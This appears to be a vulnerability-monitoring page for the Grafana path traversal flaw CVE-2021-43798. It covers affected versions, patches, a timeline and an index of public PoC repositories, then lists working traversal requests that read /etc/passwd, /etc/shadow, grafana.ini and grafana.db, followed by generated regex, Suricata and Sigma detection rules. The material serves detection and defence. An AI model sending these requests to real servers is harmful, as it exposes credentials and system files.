PoC Monitor
← All CVEs
CVE-2021-43798published 7 Dec 2021 18:25 UTCData: JSON · API

Grafana

Grafana path traversal

Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.

First public PoC 22 h beforebefore publication · 6 Dec 2021
Public PoCs6966 on GitHub · 3 Exploit-DB, Metasploit or nuclei
CVSS7.5high · scored by CNA · CWE-22
CISA KEV 9 Oct 20253.8 years after publication

Affected versions and mitigation

From the CVE record, GitHub Security Advisories and the vendor's references.

Affected

github.com/grafana/grafana (Go)
  • >= 8.3.0, < 8.3.1

Fixed in 8.3.1

from GitHub Security Advisory GHSA-8pjx-jj86-j47p

github.com/grafana/grafana (Go)
  • >= 8.2.0, < 8.2.7

Fixed in 8.2.7

from GitHub Security Advisory GHSA-8pjx-jj86-j47p

github.com/grafana/grafana (Go)
  • >= 8.1.0, < 8.1.8

Fixed in 8.1.8

from GitHub Security Advisory GHSA-8pjx-jj86-j47p

github.com/grafana/grafana (Go)
  • >= 8.0.0-beta1, < 8.0.7

Fixed in 8.0.7

from GitHub Security Advisory GHSA-8pjx-jj86-j47p

Mitigation

Upgrade github.com/grafana/grafana to 8.3.1 or later.

Upgrade github.com/grafana/grafana to 8.2.7 or later.

Upgrade github.com/grafana/grafana to 8.1.8 or later.

Upgrade github.com/grafana/grafana to 8.0.7 or later.

Timeline

Days relative to CVE publication
t=0+180+360+540+720+900+1080+1260First public PoC6 Dec 2021 · t−22hCVE published7 Dec 2021 · t = 0Added to CISA KEV9 Oct 2025 · t+3.8y

First public PoC 22 h before publication; added to CISA KEV 3.8 years after publication. First PoC: taythebot/CVE-2021-43798 (created 6 Dec 2021, found by us: backfilled).

PoC repositories

Found on GitHub.

66 PoCs · 12 pending · 3 informational · 1 not a PoC

PoCs 66
RepositoryCreatedFound by usStarsAssessment
taythebot/CVE-2021-43798 6 Dec 2021 −22 h backfilled 43 PoC
zer0yu/CVE-2021-43798 7 Dec 2021 −9 h backfilled 27 PoC
jas502n/Grafana-CVE-2021-43798 7 Dec 2021 −9 h backfilled 371 PoC via PoC Index
ScorpionsMAX/CVE-2021-43798-Grafana-POC 7 Dec 2021 −8 h backfilled 14 PoC
Flags · score 30
  • owner account created less than 7 days before the repo

Below the suspicion threshold (50); does not change the assessment.

asaotomo/CVE-2021-43798-Grafana-Exp 7 Dec 2021 −4 h backfilled 13 PoC
A-D-Team/grafanaExp 7 Dec 2021 −3 h backfilled 270 PoC older repo: PoC date unknown, not used for the first PoC
Flags · score 15
  • owner account created less than 30 days before the repo

Below the suspicion threshold (50); does not change the assessment.

M0ge/CVE-2021-43798-grafana_fileread 8 Dec 2021 +9 h backfilled 17 PoC
MoCh3n/CVE-2021-43798-grafana_fileread 8 Dec 2021 +9 h backfilled 17 PoC
j-jasson/CVE-2021-43798-grafana_fileread 8 Dec 2021 +9 h backfilled 17 PoC
JiuBanSec/Grafana-CVE-2021-43798 8 Dec 2021 +13 h backfilled 0 Scanner
lfz97/CVE-2021-43798-Grafana-File-Read 8 Dec 2021 +13 h backfilled 1 PoC
s1gh/CVE-2021-43798 8 Dec 2021 +20 h backfilled 4 PoC
z3n70/CVE-2021-43798 9 Dec 2021 +1.6 d backfilled 5 PoC
Mo0ns/Grafana_POC-CVE-2021-43798 9 Dec 2021 +1.6 d backfilled 9 PoC
culprits/Grafana_POC-CVE-2021-43798 9 Dec 2021 +1.6 d backfilled 9 PoC
tianhai66/Shell_POC 9 Dec 2021 +1.7 d backfilled 1 PoC
fanygit/Grafana-CVE-2021-43798Exp 9 Dec 2021 +1.7 d backfilled 2 PoC
LongWayHomie/CVE-2021-43798 11 Dec 2021 +3.9 d backfilled 1 PoC
pedrohavay/exploit-grafana-CVE-2021-43798 11 Dec 2021 +4 d backfilled 46 PoC
Ryze-T/CVE-2021-43798 14 Dec 2021 +6.9 d backfilled 2 PoC
k3rwin/CVE-2021-43798-Grafana 17 Dec 2021 +9.5 d backfilled 1 PoC
halencarjunior/grafana-CVE-2021-43798 21 Dec 2021 +14 d backfilled 0 PoC
Bouquets-ai/CVE-2021-43798 6 Jan 2022 +29 d backfilled 0 PoC
light-Life/CVE-2021-43798 6 Jan 2022 +29 d backfilled 0 PoC
rnsss/CVE-2021-43798-poc 6 Jan 2022 +30 d backfilled 0 PoC
rodpwn/CVE-2021-43798-mass_scanner 8 Jan 2022 +31 d backfilled 5 Scanner
aymenbouferroum/CVE-2021-43798_exploit 18 Jan 2022 +42 d backfilled 1 PoC
Jroo1053/GrafanaDirInclusion 25 Feb 2022 +80 d backfilled 2 PoC
yasin-cs-ko-ak/grafana-cve-2021-43798 3 Mar 2022 +86 d backfilled 0 PoC via PoC Index
yasindce1998/grafana-cve-2021-43798 3 Mar 2022 +86 d backfilled 0 PoC via PoC Index
BJLIYANLIANG/CVE-2021-43798-Grafana-File-Read 28 Mar 2022 +111 d backfilled 0 PoC
lalkaltest/CVE-2021-43798 2 Jun 2022 +177 d backfilled 0 PoC via PoC Index
hupe1980/CVE-2021-43798 8 Oct 2022 +305 d backfilled 3 PoC
G01d3nW01f/CVE-2021-43798 9 Jan 2023 +1.1 y backfilled 0 PoC
Ki11i0n4ir3/CVE-2021-43798 9 Jan 2023 +1.1 y backfilled 0 PoC
mauricelambert/LabAutomationCVE-2021-43798 28 Jan 2023 +1.1 y backfilled 0 PoC
FAOG99/GrafanaDirectoryScanner 12 May 2023 +1.4 y backfilled 1 PoC
victorhorowitz/grafana-exploit-CVE-2021-43798 3 Sep 2023 +1.7 y backfilled 0 PoC
katseyres2/CVE-2021-43798 26 Oct 2023 +1.9 y backfilled 0 PoC
Iris288/CVE-2021-43798 21 Nov 2023 +2.0 y backfilled 0 PoC via PoC Index
wagneralves/CVE-2021-43798 21 Dec 2023 +2.0 y backfilled 1 PoC
ticofookfook/CVE-2021-43798 27 Mar 2024 +2.3 y backfilled 0 PoC
MalekAlthubiany/CVE-2021-43798 19 Jun 2024 +2.5 y backfilled 0 PoC via PoC Index
Sic4rio/Grafana-Decryptor-for-CVE-2021-43798 2 Jul 2024 +2.6 y backfilled 9 PoC
hxlxmj/Grafxploit 22 Jul 2024 +2.6 y backfilled 0 PoC
0xSAZZAD/Grafana-CVE-2021-43798 5 Oct 2024 +2.8 y backfilled 3 PoC via PoC Index
wezoomagency/GrafXploit 14 Dec 2024 +3.0 y backfilled 4 PoC
Shinkirou789/Grafana-8-8.30-LFI-exploit 11 Feb 2025 +3.2 y backfilled 0 PoC
Flags · score 30
  • owner account created less than 7 days before the repo

Below the suspicion threshold (50); does not change the assessment.

ravi5hanka/CVE-2021-43798-Exploit-for-Windows-and-Linux 12 Feb 2025 +3.2 y backfilled 0 PoC
Shinkirou789/Jenkins-2.441-exploit 12 Feb 2025 +3.2 y backfilled 0 PoC
Flags · score 30
  • owner account created less than 7 days before the repo

Below the suspicion threshold (50); does not change the assessment.

monke443/CVE-2021-43798 6 Mar 2025 +3.2 y backfilled 2 PoC
suljov/Grafana-LFI-exploit 27 Apr 2025 +3.4 y backfilled 0 PoC
lulaide/WebTree 24 Jul 2025 +3.6 y backfilled 1 PoC via PoC Index
just-a-confused-seal/infrastructure_security 6 Aug 2025 +3.7 y backfilled 8 PoC via PoC Index
williams-surjanto/infrastructure_security 6 Aug 2025 +3.7 y backfilled 8 PoC via PoC Index
0xf3d0rq/CVE-2021-43798 27 Nov 2025 +4.0 y backfilled 0 PoC
Strikoder-Premium/Grafana-Password-Decryptor 22 Dec 2025 +4.0 y backfilled 1 PoC
Flags · score 30
  • owner account created less than 7 days before the repo

Below the suspicion threshold (50); does not change the assessment.

baktistr/cve-2021-43798-enum 8 Jan 2026 +4.1 y backfilled 0 PoC
Shoxake17/CVE-2021-43798 22 Mar 2026 +4.3 y backfilled 0 PoC
Asbawy/GrafTraverse-CVE-2021-43798 26 May 2026 +4.5 y backfilled 0 PoC
Okymi-X/CVE-2021-43798 2 Jun 2026 +4.5 y backfilled 1 PoC
Lim-ahmin/CVE-2021-43798 11 Jul 2026 +4.6 y backfilled 0 PoC
Squ1shification/Grafana-Plugin-Enumerator-CVE-2021-43798 18 Sep 2026 +4.8 y backfilled 0 PoC
khanna419/cve-2021-43798-lab 27 Sep 2026 +4.8 y backfilled 0 PoC
CyberCTF/vulhub-grafana-cve-2021-43798 8 Oct 2026 +4.8 y backfilled 0 PoC
str1keboo/CVE-2021-43798 1 Nov 2026 +4.9 y 14 Nov 2026 1 PoC
Pending 12
RepositoryCreatedFound by usStarsAssessment
notbside/CVE-2021-43798-PoC 27 Jan 2026 +4.1 y backfilled 0 Pending · repository unavailable (HTTP 404)
shivamg2004/-INE_Shivam_Gupta_23104003 20 Sep 2026 +4.8 y backfilled 0 Pending
Flags · score 35
  • README asks to download a release/binary/archive

Below the suspicion threshold (50); does not change the assessment.

Jiahe114514/hdu-is-lab1-secure-api 27 Oct 2026 +4.9 y 14 Nov 2026 0 Pending
Wobomba/grafana-decrypt 18 Nov 2026 +4.9 y 18 Nov 2026 0 Pending
K3ysTr0K3R/CVE-2021-43798-EXPLOIT unknown backfilled 0 Pending · repository unavailable (HTTP 404)
abuyazeen/CVE-2021-43798-Grafana-path-traversal-tester unknown backfilled 0 Pending · repository unavailable (HTTP 404)
gps1949/CVE-2021-43798 unknown backfilled 0 Pending · repository unavailable (HTTP 404)
julesbozouklian/CVE-2021-43798 unknown backfilled 0 Pending · repository unavailable (HTTP 404)
nuker/CVE-2021-43798 unknown backfilled 0 Pending · repository unavailable (HTTP 404)
topyagyuu/CVE-2021-43798 unknown backfilled 0 Pending · repository unavailable (HTTP 404)
xchg-rax-rax/CVE-2021-43798 unknown backfilled 0 Pending · repository unavailable (HTTP 404)
yagyuuyagyuuu/CVE-2021-43798 unknown backfilled 0 Pending · repository unavailable (HTTP 404)
Informational 3
RepositoryCreatedStarsAssessment
Mr-xn/CVE-2021-43798 7 Dec 2021 −6 h 24 Informational · write-up
kenuosec/grafanaExp 7 Dec 2021 −2 h 6 Informational · write-up
Flags · score 30
  • README gives an archive password

Below the suspicion threshold (50); does not change the assessment.

gixxyboy/CVE-2021-43798 12 Dec 2021 +4.9 d 0 Informational · write-up
Not a PoC 1
RepositoryCreatedStarsAssessment
scopion/CVE-2021-43799 8 Dec 2021 +6 h 1 Not a PoC · unrelated

Only PoCs count toward the first-PoC date and the characteristics below. "Backfilled" means we found the repository more than 30 days after it was created. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.

PoC characteristics

What to hunt for in your logs · from 66 PoC repos

GET /public/plugins/{var}/../../../../../../../../../../../../../../../../../../..{var}

Ports
3000
Seen in
2 repos: hxlxmj/Grafxploit, wezoomagency/GrafXploit
Evidence
hxlxmj/Grafxploit/grafxploit.py:104 hxlxmj/Grafxploit/grafxploit.py:123 wezoomagency/GrafXploit/grafxploit.py:104 wezoomagency/GrafXploit/grafxploit.py:123

GET /public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini

Ports
3000
Seen in
1 repo: Strikoder-Premium/Grafana-Password-Decryptor
Evidence
Strikoder-Premium/Grafana-Password-Decryptor/README.md:72 Strikoder-Premium/Grafana-Password-Decryptor/README.md:112

GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd

Key headers
Accept: */* Accept-Language: en
Ports
3000
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Seen in
1 repo: CyberCTF/vulhub-grafana-cve-2021-43798
Evidence
CyberCTF/vulhub-grafana-cve-2021-43798/app/README.md:54 CyberCTF/vulhub-grafana-cve-2021-43798/app/README.zh-cn.md:50

GET /public/plugins/icon/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Upgrade-Insecure-Requests: 1
Ports
3000
PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Seen in
1 repo: lfz97/CVE-2021-43798-Grafana-File-Read
Evidence
lfz97/CVE-2021-43798-Grafana-File-Read/README.md:33 lfz97/CVE-2021-43798-Grafana-File-Read/grafana_poc.py:9

GET /public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Upgrade-Insecure-Requests: 1
Ports
3000
PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Seen in
1 repo: BJLIYANLIANG/CVE-2021-43798-Grafana-File-Read
Evidence
BJLIYANLIANG/CVE-2021-43798-Grafana-File-Read/README.md:12

GET /URL_PATH

Ports
3000
Seen in
1 repo: lalkaltest/CVE-2021-43798
Evidence
lalkaltest/CVE-2021-43798/README.md:26

GET /api/health](http://127.0.0.1:3000/api/health)

Ports
3000
Seen in
1 repo: khanna419/cve-2021-43798-lab
Evidence
khanna419/cve-2021-43798-lab/README.md:244

GET /debug/pprof/mutex

Query
seconds=
Ports
1234, 3000, 6060, 8080, 9200, 58079
Seen in
1 repo: A-D-Team/grafanaExp
Evidence
A-D-Team/grafanaExp/pkg/http/pprof/pprof_test.go:222

GET /etc/passwd

Ports
1234, 3000, 6060, 8080, 9200, 58079
Seen in
1 repo: A-D-Team/grafanaExp
Evidence
A-D-Team/grafanaExp/pkg/http/filetransport.go:28

GET /noua

Ports
1234, 3000, 6060, 8080, 9200, 58079
Seen in
1 repo: A-D-Team/grafanaExp
Evidence
A-D-Team/grafanaExp/pkg/http/httputil/reverseproxy_test.go:550

GET /public/plugins/$plugin/../../../../../../../../../../../../../{var}

Ports
3000
Seen in
1 repo: wagneralves/CVE-2021-43798
Evidence
wagneralves/CVE-2021-43798/ExploitGrafana.sh:95

GET /public/plugins/Users/install.txt,

Seen in
1 repo: MalekAlthubiany/CVE-2021-43798
Evidence
MalekAlthubiany/CVE-2021-43798/README.md:36

GET /public/plugins/alertlist/

Ports
3000
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Seen in
1 repo: taythebot/CVE-2021-43798
Evidence
taythebot/CVE-2021-43798/exploit.go:133

GET /public/plugins/alertlist/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1
PoC User-Agent
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Seen in
1 repo: ticofookfook/CVE-2021-43798
Evidence
ticofookfook/CVE-2021-43798/CVE-2021-43798.py:24

GET /public/plugins/alertlist/../../../../../../../../../../../Users/install.txt

Ports
3000
Seen in
1 repo: MalekAlthubiany/CVE-2021-43798
Evidence
MalekAlthubiany/CVE-2021-43798/README.md:25

GET /public/plugins/alertlist/../../../../../../../../../../../etc/grafana/grafana.ini

Ports
3000
Seen in
1 repo: MalekAlthubiany/CVE-2021-43798
Evidence
MalekAlthubiany/CVE-2021-43798/README.md:27

GET /public/plugins/alertlist/../../../../../../../../../../../etc/hostname

Ports
3000
Seen in
1 repo: MalekAlthubiany/CVE-2021-43798
Evidence
MalekAlthubiany/CVE-2021-43798/README.md:29

GET /public/plugins/alertlist/../../../../../../../../../../../etc/passwd

Ports
3000
Seen in
1 repo: MalekAlthubiany/CVE-2021-43798
Evidence
MalekAlthubiany/CVE-2021-43798/README.md:26

GET /public/plugins/alertlist/../../../../../../../../../../../etc/shadow

Ports
3000
Seen in
1 repo: MalekAlthubiany/CVE-2021-43798
Evidence
MalekAlthubiany/CVE-2021-43798/README.md:30

GET /public/plugins/alertlist/../../../../../../../../../../../var/lib/grafana/grafana.db

Ports
3000
Seen in
1 repo: MalekAlthubiany/CVE-2021-43798
Evidence
MalekAlthubiany/CVE-2021-43798/README.md:28

GET /public/plugins/alertlist/../../../../../../../../tmp/test\_marker.txt

Ports
3000
Seen in
1 repo: khanna419/cve-2021-43798-lab
Evidence
khanna419/cve-2021-43798-lab/README.md:113

GET /public/plugins/alertlist/plugin.json

Ports
3000
Seen in
1 repo: CyberCTF/vulhub-grafana-cve-2021-43798
Evidence
CyberCTF/vulhub-grafana-cve-2021-43798/checks/version.sh:5

GET /public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd

Key headers
Referer: https://www.baidu.com
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Seen in
1 repo: k3rwin/CVE-2021-43798-Grafana
Evidence
k3rwin/CVE-2021-43798-Grafana/grafana.py:33 k3rwin/CVE-2021-43798-Grafana/grafana.py:43 k3rwin/CVE-2021-43798-Grafana/grafana.py:65

GET /public/plugins/icon/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..{var}

Seen in
1 repo: lfz97/CVE-2021-43798-Grafana-File-Read
Evidence
lfz97/CVE-2021-43798-Grafana-File-Read/path_search.py:46

GET /public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

Seen in
1 repo: 0xf3d0rq/CVE-2021-43798
Evidence
0xf3d0rq/CVE-2021-43798/CVE-2021-43798_poc.py:22

GET /public/plugins/{var}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fgrafana%2Fgrafana.ini

Seen in
1 repo: suljov/Grafana-LFI-exploit
Evidence
suljov/Grafana-LFI-exploit/grafana-exploit.py:82

GET /public/plugins/{var}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

Seen in
1 repo: suljov/Grafana-LFI-exploit
Evidence
suljov/Grafana-LFI-exploit/grafana-exploit.py:59

GET /public/plugins/{var}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F{var}

Seen in
1 repo: suljov/Grafana-LFI-exploit
Evidence
suljov/Grafana-LFI-exploit/grafana-exploit.py:72

GET /public/plugins/{var}/../../../../../../../../../../../../../../../../../{var}

Seen in
1 repo: LongWayHomie/CVE-2021-43798
Evidence
LongWayHomie/CVE-2021-43798/cve-2021-43798.py:47

GET /public/plugins/{var}/../../../../../../../../../../../..{var}

Seen in
1 repo: Ryze-T/CVE-2021-43798
Evidence
Ryze-T/CVE-2021-43798/main.go:17

GET /public/plugins/{var}/{var}Program%20Files/GrafanaLabs/grafana/conf/defaults.ini

Ports
3000
Seen in
1 repo: baktistr/cve-2021-43798-enum
Evidence
baktistr/cve-2021-43798-enum/cve-2021-43798-enum-win.sh:96

GET /public/plugins/{var}/{var}Program%20Files/GrafanaLabs/grafana/data/grafana.db

Ports
3000
Seen in
1 repo: baktistr/cve-2021-43798-enum
Evidence
baktistr/cve-2021-43798-enum/cve-2021-43798-enum-win.sh:101

GET /public/plugins/{var}/{var}Windows/System32/drivers/etc/hosts

Ports
3000
Seen in
1 repo: baktistr/cve-2021-43798-enum
Evidence
baktistr/cve-2021-43798-enum/cve-2021-43798-enum-win.sh:91

GET /public/plugins/{var}/{var}Windows/win.ini

Ports
3000
Seen in
1 repo: baktistr/cve-2021-43798-enum
Evidence
baktistr/cve-2021-43798-enum/cve-2021-43798-enum-win.sh:86

GET /test

Ports
1234, 3000, 6060, 8080, 9200, 58079
Seen in
1 repo: A-D-Team/grafanaExp
Evidence
A-D-Team/grafanaExp/pkg/http/httputil/reverseproxy_test.go:831

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

POST /public/plugins/{var}/../../../../../../../../../../../etc/passwd
(?i)^/public/plugins/[^/?#]*/\.\./\.\./\.\./\.\./\.\./\.\./\.\./\.\./\.\./\.\./\.\./etc/passwd(?:[?#].*)?$
GET /public/plugins/alertlist/../../../../../../../../etc/passwd
(?i)^/public/plugins/alertlist/\.\./\.\./\.\./\.\./\.\./\.\./\.\./\.\./etc/passwd(?:[?#].*)?$
GET /public/plugins/{var}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
(?i)^/public/plugins/[^/?#]*/\.\.%2f\.\.%2f\.\.%2f\.\.%2f\.\.%2f\.\.%2f\.\.%2f\.\.%2fetc/passwd(?:[?#].*)?$
GET /public/plugins/{var}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fc:/windows/win.ini
(?i)^/public/plugins/[^/?#]*/\.\.%2f\.\.%2f\.\.%2f\.\.%2f\.\.%2f\.\.%2f\.\.%2f\.\.%2fc:/windows/win\.ini(?:[?#].*)?$
GET /public/plugins/{var}/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fc:/windows/win.ini
(?i)^/public/plugins/[^/?#]*/#/\.\./\.\.%2f\.\.%2f\.\.%2f\.\.%2f\.\.%2f\.\.%2f\.\.%2f\.\.%2fc:/windows/win\.ini(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

POST /public/plugins/{var}/../../../../../../../../../../../etc/passwd
alert http any any -> $HOME_NET [3000] (msg:"GG PoC-Monitor CVE-2021-43798 grafana grafana exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/../../../../../../../../../../../etc/passwd"; http.uri; content:"/public/plugins/"; reference:url,poc.griffinguard.io/cve/CVE-2021-43798; classtype:web-application-attack; sid:9321311; rev:1;)
GET /public/plugins/alertlist/../../../../../../../../etc/passwd
alert http any any -> $HOME_NET [3000] (msg:"GG PoC-Monitor CVE-2021-43798 grafana grafana exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/public/plugins/alertlist/../../../../../../../../etc/passwd"; http.request_body; content:"Then send to intruder"; reference:url,poc.griffinguard.io/cve/CVE-2021-43798; classtype:web-application-attack; sid:9840583; rev:1;)
GET /public/plugins/{var}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2021-43798 grafana grafana exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"; http.uri; content:"/public/plugins/"; reference:url,poc.griffinguard.io/cve/CVE-2021-43798; classtype:web-application-attack; sid:9009982; rev:1;)
GET /public/plugins/{var}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fc:/windows/win.ini
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2021-43798 grafana grafana exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fc:/windows/win.ini"; http.uri; content:"/public/plugins/"; reference:url,poc.griffinguard.io/cve/CVE-2021-43798; classtype:web-application-attack; sid:9565205; rev:1;)
GET /public/plugins/{var}/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fc:/windows/win.ini
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2021-43798 grafana grafana exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fc:/windows/win.ini"; http.uri; content:"/public/plugins/"; reference:url,poc.griffinguard.io/cve/CVE-2021-43798; classtype:web-application-attack; sid:9210732; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

POST /public/plugins/{var}/../../../../../../../../../../../etc/passwd
title: grafana grafana exploit attempt (CVE-2021-43798)
id: gg-pocmon-cve-2021-43798-9321311
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-43798. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-43798
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/../../../../../../../../../../../etc/passwd'
      - '/public/plugins/'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.43798
GET /public/plugins/alertlist/../../../../../../../../etc/passwd
title: grafana grafana exploit attempt (CVE-2021-43798)
id: gg-pocmon-cve-2021-43798-9840583
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-43798. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-43798
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/public/plugins/alertlist/../../../../../../../../etc/passwd'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.43798
GET /public/plugins/{var}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
title: grafana grafana exploit attempt (CVE-2021-43798)
id: gg-pocmon-cve-2021-43798-9009982
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-43798. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-43798
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'
      - '/public/plugins/'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.43798
GET /public/plugins/{var}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fc:/windows/win.ini
title: grafana grafana exploit attempt (CVE-2021-43798)
id: gg-pocmon-cve-2021-43798-9565205
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-43798. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-43798
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fc:/windows/win.ini'
      - '/public/plugins/'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.43798
GET /public/plugins/{var}/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fc:/windows/win.ini
title: grafana grafana exploit attempt (CVE-2021-43798)
id: gg-pocmon-cve-2021-43798-9210732
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-43798. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-43798
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fc:/windows/win.ini'
      - '/public/plugins/'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.43798